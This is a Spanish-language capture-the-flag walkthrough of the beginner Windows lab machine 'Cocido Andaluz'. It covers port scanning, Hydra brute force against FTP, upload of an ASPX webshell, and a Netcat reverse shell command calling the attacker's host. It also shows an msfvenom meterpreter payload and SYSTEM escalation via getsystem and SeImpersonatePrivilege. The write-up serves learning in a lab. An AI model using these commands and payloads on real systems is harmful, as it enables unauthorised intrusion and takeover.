En esta ocasión quería hacer la resolución de la máquina llamada «Cocido Andaluz» de TheHackerLabs de dificultad Principiante.
Resumen de conceptos trabajados:
| Enumeración de servicios Fuerza bruta de credenciales con Hydra Ataque a servicio FTP Abuso de credenciales débiles Acceso no autorizado a webroot File Upload Abuse (subida de archivos maliciosos) Webshell ASP.NET Remote Code Execution (RCE) Uso de SMB para transferencia de binarios Reverse shell con Netcat Generación de payload con msfvenom Obtención de Meterpreter Enumeración de privilegios en Windows Abuso de SeImpersonatePrivilege |
Si es tu primera máquina de The Hackers Labs y no sabes cómo empezar a comprometer la máquina, te recomiendo que visites este post donde te cuento paso a paso cómo hacerlo.
Básicamente lo que tienes que hacer es descargarte el laboratorio/máquina de la plataforma, importarla desde tu Virtual Box o VMWare, iniciarla y ya desde tu máquina Kali atacante buscar por la red interna la IP con el comando arp-scan…
El resumen de las tres capturas de imagen anteriores es que:
- por un lado, mi máquina atacante Kali ha encontrado en mi red una máquina con MAC que empieza por 08 que como sabemos corresponde a máquinas virtualizadas.
- por otro lado, confirmamos que esa IP efectivamente es la de nuestra máquina víctima lanzándole un ping y vemos que nos devuelve un TTL de 128 (máquina Windows)
- y comprobamos además que la máquina está activa con el mensaje «host is up».
Estructura del contenido
Fase de Enumeración / Escaneo de Puertos
Por tanto ahora comenzamos con la fase de reconocimiento y escaneo de puertos y servicios que corren para esa IP víctima.
Normalmente, y en los casos de prácticas de laboratorios, se suelen empezar por un escaneo de puertos por TCP ya que la mayoría de servicios útiles en máquinas de laboratorio (HTTP, SSH, SMB, MySQL, etc.) usan TCP. Si no encontráramos nada por este protocolo, trataríamos de hacer un escaneo con nmap por UDP.
Por tanto, en nuestro caso y para empezar, aplicaremos el siguiente comando nmap por TCP (si quieres conocer el significado de cada comando, te dejo este post donde lo explico):
└─# nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.151 -oN Escaneo_TCP
El escaneo nos detecta muchos más puertos abiertos que lo que solemos detectar en máquina Linux, en concreto, nos detecta 12 puertos abiertos entre los que están los más comunes a nivel web como el p21 ftp y el p80 http (web).
Además, se registran como abiertos los puertos 135 (msrpc), 139 (SMB sobre netbios) y 445 (SMB) . Los puertos del 49152–49158/tcp son puertos dinámicos RPC.
Conocidos estos puertos de la máquina víctima como abiertos, lo que hacemos a continuación es enumerar, mediante un script básico de nmap, cuáles son los servicios y versiones que corren en ellos. De esta forma podemos investigar si hay expuestas vulnerabilidades públicas, etc. La idea es poder recoger toda la información posible.
De lo más relevante que extraigo a priori del escaneo de servicios sobre los puertos abiertos detectados es que sobre el puerto 80 web corre una página de Apache por defecto pero bajo tecnología ISS, y que el puerto 445 sobre el que se puede compartir recursos en Windows también.
Además, el puerto 21 por ftp que permite la subida de archivo está abierto, por lo que podría ser otro vector de entrada a explorar.
Si vamos a analizar posibles vulnerabilidades web públicas expuestas para esos servicios y versiones, vemos que la versión de Microsoft IIS httpd 7.0 tiene al parecer una vulnerabilidad por FTP de RCE, reportada en la página oficial de Microsoft en 2009:
Ok, en este punto, empiezo analizando el puerto web 80 por si pudiéramos recabas más información relevante.
Vemos analizando la web que efectivamente se muestra el contenido de una página de Apache por defecto, pero analizando las tecnologías de la aplicación, está utilizando ASP.NET.
El siguiente punto es ver si por FTP puedo acceder como anonymous para poder subir ficheros maliciosos, pero como no menciona nada nmap en el escaneo dudo que sea posible sin conocer usuarios ni contraseñas…y efectivamente, no se puede.
Fuzzing Web
Por tanto, mi siguiente paso es analizar si existen directorios, archivos o subdominios ocultos bajo su IP que puedan estar disponibles.
Empezamos por analizar potenciales directorios y ficheros ocultos, usaremos feroxbuster con este comando:
└─# feroxbuster -u http://192.168.1.151 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x .php,.html,.txt
Nos detecta las rutas abiertas:
- index.html (la misma página de Apache by default)
- aspnet_client (403 – acceso denegado por permisos)
- aspnet_client/system_web/ (403 – acceso denegado por permisos)
Pruebo a hacer otro escaneo de fuzzing con gobuster por si se detectara algo más pero no se detecta nada nuevo.
└─# gobuster dir -u http://192.168.1.151 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html,txt Considerando este punto muerto, pero sabiendo que hay puertos abiertos como el ftp 21, voy a tratar de hacer fuerza bruta sobre FTP para intentar encontrar credenciales.
Fuerza Bruta con HYDRA
Para ello, utilizaremos Hydra donde al no conocer ni usuarios ni contraseñas tendremos que seleccionar dos diccionarios que nos puedan servir para intentar encontrarlos:
└─# hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords-1000000.txt ftp://192.168.1.151 
Nos reporta usuario y contraseña para poder acceder por ftp al puerto 21: info / PolniyPizdec0211
Y conseguimos acceder por ftp. Eso es clave porque ahora podemos subir un archivo malicioso a la máquina víctima y a través del navegador podremos acceder a ese archivo y ejecutar RCE.
En este punto, la idea es poder subir un fichero .aspx malicioso que podamos ejecutar en el servidor de la máquina víctima.
Sabemos que en nuestra máquina atacante Kali Linux por defecto se ubica un fichero cmasp.aspx malicioso que podemos copiarnos a nuestro directorio actual de trabajo para subirlo al servidor por ftp y ejecutarlo.
Subida de Archivos Maliciosos
Para ello lo primero es buscar ese fichero mediante el uso de find:
└─# find / -name cmdasp.aspx 2>/dev/nullNos saldrá la ruta donde está ese archivo, ahora lo que hacemos es copiárnoslo a nuestro directorio actual:
└─# cp /usr/share/webshells/aspx/cmdasp.aspx .El contenido de ese fichero aspx es una webshell con esta sinstrucciones.
Ahora vamos a subir con put ese fichero:
put cmdasp.aspx
y si listamos los ficheros ya subidos por ftp a la máquina víctima, vemos que ahí está alojado (hay más ficheros porque estuve haciendo pruebas antes incluyendo a mano un código malicioso para aspx pero no me funcionó).
Ejecución Remota de Comandos RCE
Si ahora vamos al navegador e introducimos: «http://192.168.1.151/cmdasp.aspx» , nos devuelve en la web una consola de comandos, confirmándonos que podemos ejecutar RCE.
Al buscar nombres de usuario nos reporta, además del info que sacamos antes, el de Administrador y el de Invitado.
Conociendo esto, ejecutamos el comando «dir C:\Users\info» de Windows que es el directorio donde se almacenan los usuarios, y damos con el contenido del usuario info donde se esconde la user flag «type C:\Users\info\user.txt».
Escalada de privilegios: de user a root (SYSTEM)
Una vez obtenida la user flag desde el perfil del usuario info, confirmamos que ya teníamos ejecución remota de comandos (RCE) estable a través de la webshell ASP.NET (cmdasp.aspx).
En este punto, el acceso era funcional pero limitado, ya que estábamos ejecutando comandos con un usuario de servicio y no como administrador.
Pivot a una shell más estable (reverse shell)
Para mejorar la estabilidad del acceso y evitar las limitaciones de la webshell, decidimos pivotar a una reverse shell real. Desde nuestra máquina atacante (Kali), compartimos un recurso SMB utilizando impacket-smbserver, donde alojamos el binario nc.exe.
A continuación, desde la webshell ejecutamos el siguiente comando, que lanza Netcat desde el recurso compartido y establece una conexión inversa hacia nuestra máquina:
\\192.168.1.211\webshell\nc.exe -e cmd.exe 192.168.1.211 443
Con esto, y teniendo netcat como listener activo en Kali por el puerto 443, conseguimos una shell interactiva de Windows, mucho más cómoda para continuar la explotación.
Obtención de una sesión Meterpreter
Con la shell ya estable, el siguiente paso fue migrar a Meterpreter para aprovechar las capacidades de post-explotación de Metasploit. Para ello, generamos un payload malicioso con msfvenom (shelly.exe), lo compartimos de nuevo mediante SMB y lo ejecutamos desde la máquina víctima.
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.211 LPORT=444 -f exe -o shelly.exe
Esto nos proporcionó una sesión Meterpreter activa, desde la cual confirmamos el contexto inicial:
Es decir, seguíamos sin privilegios administrativos con NT AUTHORITY\Servicio de red, pero en un contexto ideal para intentar escalada.
Escalada automática con getsystem (Named Pipe Impersonation)
Una vez dentro de Meterpreter, el primer intento de escalada fue el más lógico en sistemas Windows: «getsystem«.
Metasploit logró escalar privilegios automáticamente utilizando una técnica de Named Pipe Impersonation, concretamente una variante tipo EfsPotato, aprovechando que el proceso tenía disponible el privilegio SeImpersonatePrivilege.
Y así llegamos a ver con getuid que eramos SYSTEM y teníamos el control total del sistema.
Ahora simplemente para llegar a la flag de root teníamos que movernos entre directorios a la carpeta del usuario Administrador – Desktop, y con type pudimos ver la flag de root .
RESUMEN DE LA MÁQUINA COCIDO ANDALUZ
| Resolvimos la máquina comenzando por una fase de enumeración, donde identificamos que se trataba de un sistema Windows con varios servicios expuestos, entre ellos FTP (21), IIS con tecnología ASP.NET (80) y SMB (139/445). Al no permitir acceso anónimo al FTP, decidimos aplicar fuerza bruta con Hydra, utilizando diccionarios de usuarios y contraseñas habituales en entornos Windows. Gracias a este ataque conseguimos unas credenciales válidas, que nos permitieron autenticarnos correctamente por FTP. Una vez dentro del FTP, comprobamos que el directorio al que teníamos acceso coincidía con el directorio raíz del servidor web (webroot de IIS). Esto fue clave, ya que nos permitió subir archivos ASPX directamente accesibles desde el navegador. Aprovechando esta mala configuración, subimos una webshell ASP.NET, confirmando así ejecución remota de comandos (RCE). Desde esta webshell enumeramos el sistema, localizamos al usuario info y accedimos a su directorio personal para leer la user flag.Con la user flag obtenida, mejoramos el acceso pivotando desde la webshell a una reverse shell usando nc.exe compartido por SMB, y posteriormente conseguimos una sesión Meterpreter mediante un payload generado con msfvenom. Ya dentro de Meterpreter, ejecutamos getsystem, que aprovechó el privilegio SeImpersonatePrivilege para escalar a NT AUTHORITY\SYSTEM mediante una técnica de Named Pipe Impersonation (EfsPotato). Finalmente, con privilegios de SYSTEM, accedimos al escritorio del usuario Administrador y leímos la root flag, completando así la resolución total de la máquina. |
